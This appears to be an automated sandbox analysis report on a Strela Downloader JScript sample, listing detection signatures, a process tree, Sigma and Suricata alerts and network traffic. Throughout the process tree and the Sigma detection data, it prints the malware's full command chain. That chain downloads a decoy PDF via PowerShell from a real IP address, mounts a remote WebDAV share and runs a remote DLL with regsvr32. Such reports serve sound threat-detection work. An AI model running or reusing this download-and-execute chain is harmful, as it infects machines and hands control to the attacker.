Edit tour

Windows Analysis Report
17231147702223410654.js

Overview

General Information

Sample name:	17231147702223410654.js
Analysis ID:	1588305
MD5:	242a465545c6da5b0bf80ef42fbe0f25
SHA1:	4bf21e9b5e8187105b28471224cf18de8761815e
SHA256:	2ae08504c74a28d965c1306456a86413a6ed3e4150cba9aa5462e60c90543be0
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 7820 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 7916 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 7924 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 7968 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 8144 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 7496 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 2340 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2052 --field-trial-handle=1608,i,8740673078040031628,4387485080927596504,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 8172 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6056 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

conhost.exe (PID: 7920 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

svchost.exe (PID: 3340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 7820	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7916, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7968, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7916, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7968, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", ProcessId: 7820, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6056, Protocol: tcp, SourceIp: 192.168.2.8, SourceIsIpv6: false, SourcePort: 49706

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ProcessId: 7916, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ProcessId: 7916, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ProcessId: 7916, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ProcessId: 7916, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ProcessId: 7916, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", ProcessId: 7820, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 7916, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 7968, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8172, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6056, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 624, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 3340, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 8172, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6056, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\17231147702223410654.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 7820, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\196581285316338.dll, ProcessId: 7916, ProcessName: cmd.exe

Suricata Signatures

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:46:05.833126+0100	1810005	1	Potentially Bad Traffic	192.168.2.8	49706	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-10T23:46:03.095700+0100	1810000	2	Potentially Bad Traffic	192.168.2.8	49705	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 17231147702223410654.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 17231147702223410654.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.8:49706 -> 193.143.1.205:8888

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Fri, 10 Jan 2025 22:46:02 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: global traffic

TCP traffic: 192.168.2.8:49706 -> 193.143.1.205:8888

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

